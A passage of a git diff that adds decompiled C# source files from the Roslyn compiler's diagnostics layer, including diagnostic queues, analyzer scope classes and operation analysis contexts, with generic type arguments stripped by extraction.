_lazyLocalSyntaxDiagnostics; + + private Dictionary? _lazyNonLocalDiagnostics; + + public override void Enqueue(Diagnostic diagnostic) + { + throw new InvalidOperationException(); + } + + public override void EnqueueLocal(Diagnostic diagnostic, DiagnosticAnalyzer analyzer, bool isSyntaxDiagnostic) + { + if (isSyntaxDiagnostic) + { + EnqueueCore(ref _lazyLocalSyntaxDiagnostics, diagnostic, analyzer); + } + else + { + EnqueueCore(ref _lazyLocalSemanticDiagnostics, diagnostic, analyzer); + } + } + + public override void EnqueueNonLocal(Diagnostic diagnostic, DiagnosticAnalyzer analyzer) + { + EnqueueCore(ref _lazyNonLocalDiagnostics, diagnostic, analyzer); + } + + private void EnqueueCore([NotNull] ref Dictionary? lazyDiagnosticsMap, Diagnostic diagnostic, DiagnosticAnalyzer analyzer) + { + lock (_gate) + { + if (lazyDiagnosticsMap == null) + { + lazyDiagnosticsMap = new Dictionary(); + } + EnqueueCore_NoLock(lazyDiagnosticsMap, diagnostic, analyzer); + } + } + + private static void EnqueueCore_NoLock(Dictionary diagnosticsMap, Diagnostic diagnostic, DiagnosticAnalyzer analyzer) + { + if (diagnosticsMap.TryGetValue(analyzer, out SimpleDiagnosticQueue value)) + { + value.Enqueue(diagnostic); + } + else + { + diagnosticsMap[analyzer] = new SimpleDiagnosticQueue(diagnostic); + } + } + + public override bool TryComplete() + { + return true; + } + + public override bool TryDequeue([NotNullWhen(true)] out Diagnostic? d) + { + lock (_gate) + { + return TryDequeue_NoLock(out d); + } + } + + private bool TryDequeue_NoLock([NotNullWhen(true)] out Diagnostic? d) + { + if (!TryDequeue_NoLock(_lazyLocalSemanticDiagnostics, out d) && !TryDequeue_NoLock(_lazyLocalSyntaxDiagnostics, out d)) + { + return TryDequeue_NoLock(_lazyNonLocalDiagnostics, out d); + } + return true; + } + + private static bool TryDequeue_NoLock(Dictionary? lazyDiagnosticsMap, [NotNullWhen(true)] out Diagnostic? d) + { + Diagnostic diag = null; + if (lazyDiagnosticsMap != null && lazyDiagnosticsMap.Any>((KeyValuePair kvp) => kvp.Value.TryDequeue(out diag))) + { + d = diag; + return true; + } + d = null; + return false; + } + + public override ImmutableArray DequeueLocalSyntaxDiagnostics(DiagnosticAnalyzer analyzer) + { + return DequeueDiagnosticsCore(analyzer, _lazyLocalSyntaxDiagnostics); + } + + public override ImmutableArray DequeueLocalSemanticDiagnostics(DiagnosticAnalyzer analyzer) + { + return DequeueDiagnosticsCore(analyzer, _lazyLocalSemanticDiagnostics); + } + + public override ImmutableArray DequeueNonLocalDiagnostics(DiagnosticAnalyzer analyzer) + { + return DequeueDiagnosticsCore(analyzer, _lazyNonLocalDiagnostics); + } + + private ImmutableArray DequeueDiagnosticsCore(DiagnosticAnalyzer analyzer, Dictionary? lazyDiagnosticsMap) + { + if (TryGetDiagnosticsQueue(analyzer, lazyDiagnosticsMap, out SimpleDiagnosticQueue queue)) + { + ImmutableArray.Builder builder = ImmutableArray.CreateBuilder(); + Diagnostic d; + while (queue.TryDequeue(out d)) + { + builder.Add(d); + } + return builder.ToImmutable(); + } + return ImmutableArray.Empty; + } + + private bool TryGetDiagnosticsQueue(DiagnosticAnalyzer analyzer, Dictionary? diagnosticsMap, [NotNullWhen(true)] out SimpleDiagnosticQueue? queue) + { + queue = null; + lock (_gate) + { + return diagnosticsMap?.TryGetValue(analyzer, out queue) ?? false; + } + } + } + + public abstract bool TryComplete(); + + public abstract bool TryDequeue([NotNullWhen(true)] out Diagnostic? d); + + public abstract void Enqueue(Diagnostic diagnostic); + + public abstract void EnqueueLocal(Diagnostic diagnostic, DiagnosticAnalyzer analyzer, bool isSyntaxDiagnostic); + + public abstract void EnqueueNonLocal(Diagnostic diagnostic, DiagnosticAnalyzer analyzer); + + public abstract ImmutableArray DequeueLocalSyntaxDiagnostics(DiagnosticAnalyzer analyzer); + + public abstract ImmutableArray DequeueLocalSemanticDiagnostics(DiagnosticAnalyzer analyzer); + + public abstract ImmutableArray DequeueNonLocalDiagnostics(DiagnosticAnalyzer analyzer); + + public static DiagnosticQueue Create(bool categorized = false) + { + if (!categorized) + { + return new SimpleDiagnosticQueue(); + } + return new CategorizedDiagnosticQueue(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticSuppressor.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticSuppressor.cs new file mode 100644 index 0000000..2eeaff2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DiagnosticSuppressor.cs @@ -0,0 +1,17 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public abstract class DiagnosticSuppressor : DiagnosticAnalyzer +{ + public sealed override ImmutableArray SupportedDiagnostics => ImmutableArray.Empty; + + public abstract ImmutableArray SupportedSuppressions { get; } + + public sealed override void Initialize(AnalysisContext context) + { + context.ConfigureGeneratedCodeAnalysis(GeneratedCodeAnalysisFlags.None); + } + + public abstract void ReportSuppressions(SuppressionAnalysisContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DictionaryAnalyzerConfigOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DictionaryAnalyzerConfigOptions.cs new file mode 100644 index 0000000..f1349ef --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/DictionaryAnalyzerConfigOptions.cs @@ -0,0 +1,26 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class DictionaryAnalyzerConfigOptions : AnalyzerConfigOptions +{ + internal static readonly ImmutableDictionary EmptyDictionary = ImmutableDictionary.Create(AnalyzerConfigOptions.KeyComparer); + + internal readonly ImmutableDictionary Options; + + public static DictionaryAnalyzerConfigOptions Empty { get; } = new DictionaryAnalyzerConfigOptions(EmptyDictionary); + + public override IEnumerable Keys => Options.Keys; + + public DictionaryAnalyzerConfigOptions(ImmutableDictionary options) + { + Options = options; + } + + public override bool TryGetValue(string key, [NotNullWhen(true)] out string? value) + { + return Options.TryGetValue(key, out value); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/GeneratedCodeAnalysisFlags.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/GeneratedCodeAnalysisFlags.cs new file mode 100644 index 0000000..ee8e4ee --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/GeneratedCodeAnalysisFlags.cs @@ -0,0 +1,11 @@ +using System; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +[Flags] +public enum GeneratedCodeAnalysisFlags +{ + None = 0, + Analyze = 1, + ReportDiagnostics = 2 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostAnalysisScope.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostAnalysisScope.cs new file mode 100644 index 0000000..6d09aac --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostAnalysisScope.cs @@ -0,0 +1,139 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Immutable; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal abstract class HostAnalysisScope +{ + private readonly ConcurrentDictionary> _analyzerActions = new ConcurrentDictionary>(); + + public virtual AnalyzerActions GetAnalyzerActions(DiagnosticAnalyzer analyzer) + { + return GetOrCreateAnalyzerActions(analyzer).Value; + } + + public void RegisterCompilationAction(DiagnosticAnalyzer analyzer, Action action) + { + CompilationAnalyzerAction action2 = new CompilationAnalyzerAction(action, analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.AddCompilationAction(action2); + } + + public void RegisterCompilationEndAction(DiagnosticAnalyzer analyzer, Action action) + { + CompilationAnalyzerAction action2 = new CompilationAnalyzerAction(action, analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.AddCompilationEndAction(action2); + } + + public void RegisterSemanticModelAction(DiagnosticAnalyzer analyzer, Action action) + { + SemanticModelAnalyzerAction action2 = new SemanticModelAnalyzerAction(action, analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.AddSemanticModelAction(action2); + } + + public void RegisterSyntaxTreeAction(DiagnosticAnalyzer analyzer, Action action) + { + SyntaxTreeAnalyzerAction action2 = new SyntaxTreeAnalyzerAction(action, analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.AddSyntaxTreeAction(action2); + } + + public void RegisterAdditionalFileAction(DiagnosticAnalyzer analyzer, Action action) + { + AdditionalFileAnalyzerAction action2 = new AdditionalFileAnalyzerAction(action, analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.AddAdditionalFileAction(action2); + } + + public void RegisterSymbolAction(DiagnosticAnalyzer analyzer, Action action, ImmutableArray symbolKinds) + { + SymbolAnalyzerAction action2 = new SymbolAnalyzerAction(action, symbolKinds, analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.AddSymbolAction(action2); + if (!symbolKinds.Contains(SymbolKind.Parameter)) + { + return; + } + RegisterSymbolAction(analyzer, delegate(SymbolAnalysisContext context) + { + ImmutableArray.Enumerator enumerator = (context.Symbol.Kind switch + { + SymbolKind.Method => ((IMethodSymbol)context.Symbol).Parameters, + SymbolKind.Property => ((IPropertySymbol)context.Symbol).Parameters, + SymbolKind.NamedType => ((INamedTypeSymbol)context.Symbol).DelegateInvokeMethod?.Parameters ?? ImmutableArray.Create(), + _ => throw new ArgumentException($"{context.Symbol.Kind} is not supported.", "context"), + }).GetEnumerator(); + while (enumerator.MoveNext()) + { + IParameterSymbol current = enumerator.Current; + if (!current.IsImplicitlyDeclared) + { + action(new SymbolAnalysisContext(current, context.Compilation, context.Options, ((SymbolAnalysisContext)context).ReportDiagnostic, context.IsSupportedDiagnostic, context.IsGeneratedCode, context.FilterTree, context.FilterSpan, context.CancellationToken)); + } + } + }, ImmutableArray.Create(SymbolKind.Method, SymbolKind.Property, SymbolKind.NamedType)); + } + + public void RegisterSymbolStartAction(DiagnosticAnalyzer analyzer, Action action, SymbolKind symbolKind) + { + SymbolStartAnalyzerAction action2 = new SymbolStartAnalyzerAction(action, symbolKind, analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.AddSymbolStartAction(action2); + } + + public void RegisterSymbolEndAction(DiagnosticAnalyzer analyzer, Action action) + { + SymbolEndAnalyzerAction action2 = new SymbolEndAnalyzerAction(action, analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.AddSymbolEndAction(action2); + } + + public void RegisterCodeBlockStartAction(DiagnosticAnalyzer analyzer, Action> action) where TLanguageKindEnum : struct + { + CodeBlockStartAnalyzerAction action2 = new CodeBlockStartAnalyzerAction(action, analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.AddCodeBlockStartAction(action2); + } + + public void RegisterCodeBlockEndAction(DiagnosticAnalyzer analyzer, Action action) + { + CodeBlockAnalyzerAction action2 = new CodeBlockAnalyzerAction(action, analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.AddCodeBlockEndAction(action2); + } + + public void RegisterCodeBlockAction(DiagnosticAnalyzer analyzer, Action action) + { + CodeBlockAnalyzerAction action2 = new CodeBlockAnalyzerAction(action, analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.AddCodeBlockAction(action2); + } + + public void RegisterSyntaxNodeAction(DiagnosticAnalyzer analyzer, Action action, ImmutableArray syntaxKinds) where TLanguageKindEnum : struct + { + SyntaxNodeAnalyzerAction action2 = new SyntaxNodeAnalyzerAction(action, syntaxKinds, analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.AddSyntaxNodeAction(action2); + } + + public void RegisterOperationBlockStartAction(DiagnosticAnalyzer analyzer, Action action) + { + OperationBlockStartAnalyzerAction action2 = new OperationBlockStartAnalyzerAction(action, analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.AddOperationBlockStartAction(action2); + } + + public void RegisterOperationBlockEndAction(DiagnosticAnalyzer analyzer, Action action) + { + OperationBlockAnalyzerAction action2 = new OperationBlockAnalyzerAction(action, analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.AddOperationBlockEndAction(action2); + } + + public void RegisterOperationBlockAction(DiagnosticAnalyzer analyzer, Action action) + { + OperationBlockAnalyzerAction action2 = new OperationBlockAnalyzerAction(action, analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.AddOperationBlockAction(action2); + } + + public void RegisterOperationAction(DiagnosticAnalyzer analyzer, Action action, ImmutableArray operationKinds) + { + OperationAnalyzerAction action2 = new OperationAnalyzerAction(action, operationKinds, analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.AddOperationAction(action2); + } + + protected StrongBox GetOrCreateAnalyzerActions(DiagnosticAnalyzer analyzer) + { + return _analyzerActions.GetOrAdd(analyzer, (DiagnosticAnalyzer _) => new StrongBox(AnalyzerActions.Empty)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostCodeBlockStartAnalysisScope.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostCodeBlockStartAnalysisScope.cs new file mode 100644 index 0000000..c5465a5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostCodeBlockStartAnalysisScope.cs @@ -0,0 +1,29 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class HostCodeBlockStartAnalysisScope where TLanguageKindEnum : struct +{ + private ImmutableArray _codeBlockEndActions = ImmutableArray.Empty; + + private ImmutableArray> _syntaxNodeActions = ImmutableArray>.Empty; + + public ImmutableArray CodeBlockEndActions => _codeBlockEndActions; + + public ImmutableArray> SyntaxNodeActions => _syntaxNodeActions; + + internal HostCodeBlockStartAnalysisScope() + { + } + + public void RegisterCodeBlockEndAction(DiagnosticAnalyzer analyzer, Action action) + { + _codeBlockEndActions = _codeBlockEndActions.Add(new CodeBlockAnalyzerAction(action, analyzer)); + } + + public void RegisterSyntaxNodeAction(DiagnosticAnalyzer analyzer, Action action, ImmutableArray syntaxKinds) + { + _syntaxNodeActions = _syntaxNodeActions.Add(new SyntaxNodeAnalyzerAction(action, syntaxKinds, analyzer)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostCompilationStartAnalysisScope.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostCompilationStartAnalysisScope.cs new file mode 100644 index 0000000..3cd63f3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostCompilationStartAnalysisScope.cs @@ -0,0 +1,26 @@ +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class HostCompilationStartAnalysisScope : HostAnalysisScope +{ + private readonly HostSessionStartAnalysisScope _sessionScope; + + public HostCompilationStartAnalysisScope(HostSessionStartAnalysisScope sessionScope) + { + _sessionScope = sessionScope; + } + + public override AnalyzerActions GetAnalyzerActions(DiagnosticAnalyzer analyzer) + { + AnalyzerActions analyzerActions = base.GetAnalyzerActions(analyzer); + AnalyzerActions otherActions = _sessionScope.GetAnalyzerActions(analyzer); + if (otherActions.IsEmpty) + { + return analyzerActions; + } + if (analyzerActions.IsEmpty) + { + return otherActions; + } + return analyzerActions.Append(in otherActions); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostOperationBlockStartAnalysisScope.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostOperationBlockStartAnalysisScope.cs new file mode 100644 index 0000000..027d241 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostOperationBlockStartAnalysisScope.cs @@ -0,0 +1,29 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class HostOperationBlockStartAnalysisScope +{ + private ImmutableArray _operationBlockEndActions = ImmutableArray.Empty; + + private ImmutableArray _operationActions = ImmutableArray.Empty; + + public ImmutableArray OperationBlockEndActions => _operationBlockEndActions; + + public ImmutableArray OperationActions => _operationActions; + + internal HostOperationBlockStartAnalysisScope() + { + } + + public void RegisterOperationBlockEndAction(DiagnosticAnalyzer analyzer, Action action) + { + _operationBlockEndActions = _operationBlockEndActions.Add(new OperationBlockAnalyzerAction(action, analyzer)); + } + + public void RegisterOperationAction(DiagnosticAnalyzer analyzer, Action action, ImmutableArray operationKinds) + { + _operationActions = _operationActions.Add(new OperationAnalyzerAction(action, operationKinds, analyzer)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostSessionStartAnalysisScope.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostSessionStartAnalysisScope.cs new file mode 100644 index 0000000..143730f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostSessionStartAnalysisScope.cs @@ -0,0 +1,43 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class HostSessionStartAnalysisScope : HostAnalysisScope +{ + private ImmutableHashSet _concurrentAnalyzers = ImmutableHashSet.Empty; + + private readonly ConcurrentDictionary _generatedCodeConfigurationMap = new ConcurrentDictionary(); + + public bool IsConcurrentAnalyzer(DiagnosticAnalyzer analyzer) + { + return _concurrentAnalyzers.Contains(analyzer); + } + + public GeneratedCodeAnalysisFlags GetGeneratedCodeAnalysisFlags(DiagnosticAnalyzer analyzer) + { + if (!_generatedCodeConfigurationMap.TryGetValue(analyzer, out var value)) + { + return GeneratedCodeAnalysisFlags.Analyze | GeneratedCodeAnalysisFlags.ReportDiagnostics; + } + return value; + } + + public void RegisterCompilationStartAction(DiagnosticAnalyzer analyzer, Action action) + { + CompilationStartAnalyzerAction action2 = new CompilationStartAnalyzerAction(action, analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.AddCompilationStartAction(action2); + } + + public void EnableConcurrentExecution(DiagnosticAnalyzer analyzer) + { + _concurrentAnalyzers = _concurrentAnalyzers.Add(analyzer); + GetOrCreateAnalyzerActions(analyzer).Value.EnableConcurrentExecution(); + } + + public void ConfigureGeneratedCodeAnalysis(DiagnosticAnalyzer analyzer, GeneratedCodeAnalysisFlags mode) + { + _generatedCodeConfigurationMap.AddOrUpdate(analyzer, mode, (DiagnosticAnalyzer a, GeneratedCodeAnalysisFlags c) => mode); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostSymbolStartAnalysisScope.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostSymbolStartAnalysisScope.cs new file mode 100644 index 0000000..3ef65ad --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/HostSymbolStartAnalysisScope.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class HostSymbolStartAnalysisScope : HostAnalysisScope +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationAnalysisContext.cs new file mode 100644 index 0000000..2be4e77 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationAnalysisContext.cs @@ -0,0 +1,76 @@ +using System; +using System.Threading; +using Microsoft.CodeAnalysis.FlowAnalysis; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public readonly struct OperationAnalysisContext +{ + private readonly IOperation _operation; + + private readonly ISymbol _containingSymbol; + + private readonly Compilation _compilation; + + private readonly AnalyzerOptions _options; + + private readonly Action _reportDiagnostic; + + private readonly Func _isSupportedDiagnostic; + + private readonly Func? _getControlFlowGraph; + + private readonly CancellationToken _cancellationToken; + + public IOperation Operation => _operation; + + public ISymbol ContainingSymbol => _containingSymbol; + + public Compilation Compilation => _compilation; + + public AnalyzerOptions Options => _options; + + public SyntaxTree FilterTree { get; } + + public TextSpan? FilterSpan { get; } + + public bool IsGeneratedCode { get; } + + public CancellationToken CancellationToken => _cancellationToken; + + [Obsolete("Use CompilationWithAnalyzers instead. See https://github.com/dotnet/roslyn/issues/63440 for more details.")] + public OperationAnalysisContext(IOperation operation, ISymbol containingSymbol, Compilation compilation, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, CancellationToken cancellationToken) + : this(operation, containingSymbol, compilation, options, reportDiagnostic, (Diagnostic d, CancellationToken _) => isSupportedDiagnostic(d), null, null, isGeneratedCode: false, cancellationToken) + { + } + + internal OperationAnalysisContext(IOperation operation, ISymbol containingSymbol, Compilation compilation, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, Func? getControlFlowGraph, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) + { + _operation = operation; + _containingSymbol = containingSymbol; + _compilation = compilation; + _options = options; + _reportDiagnostic = reportDiagnostic; + _isSupportedDiagnostic = isSupportedDiagnostic; + _getControlFlowGraph = getControlFlowGraph; + FilterTree = operation.Syntax.SyntaxTree; + FilterSpan = filterSpan; + IsGeneratedCode = isGeneratedCode; + _cancellationToken = cancellationToken; + } + + public void ReportDiagnostic(Diagnostic diagnostic) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(diagnostic, _compilation, _isSupportedDiagnostic, _cancellationToken); + lock (_reportDiagnostic) + { + _reportDiagnostic(diagnostic); + } + } + + public ControlFlowGraph GetControlFlowGraph() + { + return DiagnosticAnalysisContextHelpers.GetControlFlowGraph(Operation, _getControlFlowGraph, _cancellationToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationAnalyzerAction.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationAnalyzerAction.cs new file mode 100644 index 0000000..9b81e26 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationAnalyzerAction.cs @@ -0,0 +1,18 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class OperationAnalyzerAction : AnalyzerAction +{ + public Action Action { get; } + + public ImmutableArray Kinds { get; } + + public OperationAnalyzerAction(Action action, ImmutableArray kinds, DiagnosticAnalyzer analyzer) + : base(analyzer) + { + Action = action; + Kinds = kinds; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationBlockAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationBlockAnalysisContext.cs new file mode 100644 index 0000000..bfa9da2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationBlockAnalysisContext.cs @@ -0,0 +1,85 @@ +using System; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.FlowAnalysis; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public readonly struct OperationBlockAnalysisContext +{ + private readonly ImmutableArray _operationBlocks; + + private readonly ISymbol _owningSymbol; + + private readonly Compilation _compilation; + + private readonly AnalyzerOptions _options; + + private readonly Action _reportDiagnostic; + + private readonly Func _isSupportedDiagnostic; + + private readonly Func? _getControlFlowGraph; + + private readonly CancellationToken _cancellationToken; + + public ImmutableArray OperationBlocks => _operationBlocks; + + public ISymbol OwningSymbol => _owningSymbol; + + public Compilation Compilation => _compilation; + + public AnalyzerOptions Options => _options; + + public SyntaxTree FilterTree { get; } + + public TextSpan? FilterSpan { get; } + + public bool IsGeneratedCode { get; } + + public CancellationToken CancellationToken => _cancellationToken; + + [Obsolete("Use CompilationWithAnalyzers instead. See https://github.com/dotnet/roslyn/issues/63440 for more details.")] + public OperationBlockAnalysisContext(ImmutableArray operationBlocks, ISymbol owningSymbol, Compilation compilation, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, CancellationToken cancellationToken) + : this(operationBlocks, owningSymbol, compilation, options, reportDiagnostic, (Diagnostic d, CancellationToken _) => isSupportedDiagnostic(d), null, operationBlocks[0].Syntax.SyntaxTree, null, isGeneratedCode: false, cancellationToken) + { + } + + internal OperationBlockAnalysisContext(ImmutableArray operationBlocks, ISymbol owningSymbol, Compilation compilation, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, Func? getControlFlowGraph, SyntaxTree filterTree, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) + { + _operationBlocks = operationBlocks; + _owningSymbol = owningSymbol; + _compilation = compilation; + _options = options; + _reportDiagnostic = reportDiagnostic; + _isSupportedDiagnostic = isSupportedDiagnostic; + _getControlFlowGraph = getControlFlowGraph; + FilterTree = filterTree; + FilterSpan = filterSpan; + IsGeneratedCode = isGeneratedCode; + _cancellationToken = cancellationToken; + } + + public void ReportDiagnostic(Diagnostic diagnostic) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(diagnostic, Compilation, _isSupportedDiagnostic, _cancellationToken); + lock (_reportDiagnostic) + { + _reportDiagnostic(diagnostic); + } + } + + public ControlFlowGraph GetControlFlowGraph(IOperation operationBlock) + { + if (operationBlock == null) + { + throw new ArgumentNullException("operationBlock"); + } + if (!OperationBlocks.Contains(operationBlock)) + { + throw new ArgumentException(CodeAnalysisResources.InvalidOperationBlockForAnalysisContext, "operationBlock"); + } + return DiagnosticAnalysisContextHelpers.GetControlFlowGraph(operationBlock, _getControlFlowGraph, _cancellationToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationBlockAnalyzerAction.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationBlockAnalyzerAction.cs new file mode 100644 index 0000000..dd51dbb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationBlockAnalyzerAction.cs @@ -0,0 +1,14 @@ +using System; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class OperationBlockAnalyzerAction : AnalyzerAction +{ + public Action Action { get; } + + public OperationBlockAnalyzerAction(Action action, DiagnosticAnalyzer analyzer) + : base(analyzer) + { + Action = action; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationBlockStartAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationBlockStartAnalysisContext.cs new file mode 100644 index 0000000..ef9b05b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationBlockStartAnalysisContext.cs @@ -0,0 +1,79 @@ +using System; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.FlowAnalysis; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public abstract class OperationBlockStartAnalysisContext +{ + private readonly ImmutableArray _operationBlocks; + + private readonly ISymbol _owningSymbol; + + private readonly Compilation _compilation; + + private readonly AnalyzerOptions _options; + + private readonly Func? _getControlFlowGraph; + + private readonly CancellationToken _cancellationToken; + + public ImmutableArray OperationBlocks => _operationBlocks; + + public ISymbol OwningSymbol => _owningSymbol; + + public Compilation Compilation => _compilation; + + public AnalyzerOptions Options => _options; + + public SyntaxTree FilterTree { get; } + + public TextSpan? FilterSpan { get; } + + public bool IsGeneratedCode { get; } + + public CancellationToken CancellationToken => _cancellationToken; + + [Obsolete("Use CompilationWithAnalyzers instead. See https://github.com/dotnet/roslyn/issues/63440 for more details.")] + protected OperationBlockStartAnalysisContext(ImmutableArray operationBlocks, ISymbol owningSymbol, Compilation compilation, AnalyzerOptions options, CancellationToken cancellationToken) + : this(operationBlocks, owningSymbol, compilation, options, null, operationBlocks[0].Syntax.SyntaxTree, null, isGeneratedCode: false, cancellationToken) + { + } + + internal OperationBlockStartAnalysisContext(ImmutableArray operationBlocks, ISymbol owningSymbol, Compilation compilation, AnalyzerOptions options, Func? getControlFlowGraph, SyntaxTree filterTree, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) + { + _operationBlocks = operationBlocks; + _owningSymbol = owningSymbol; + _compilation = compilation; + _options = options; + _getControlFlowGraph = getControlFlowGraph; + FilterTree = filterTree; + FilterSpan = filterSpan; + IsGeneratedCode = isGeneratedCode; + _cancellationToken = cancellationToken; + } + + public abstract void RegisterOperationBlockEndAction(Action action); + + public void RegisterOperationAction(Action action, params OperationKind[] operationKinds) + { + RegisterOperationAction(action, operationKinds.AsImmutableOrEmpty()); + } + + public abstract void RegisterOperationAction(Action action, ImmutableArray operationKinds); + + public ControlFlowGraph GetControlFlowGraph(IOperation operationBlock) + { + if (operationBlock == null) + { + throw new ArgumentNullException("operationBlock"); + } + if (!OperationBlocks.Contains(operationBlock)) + { + throw new 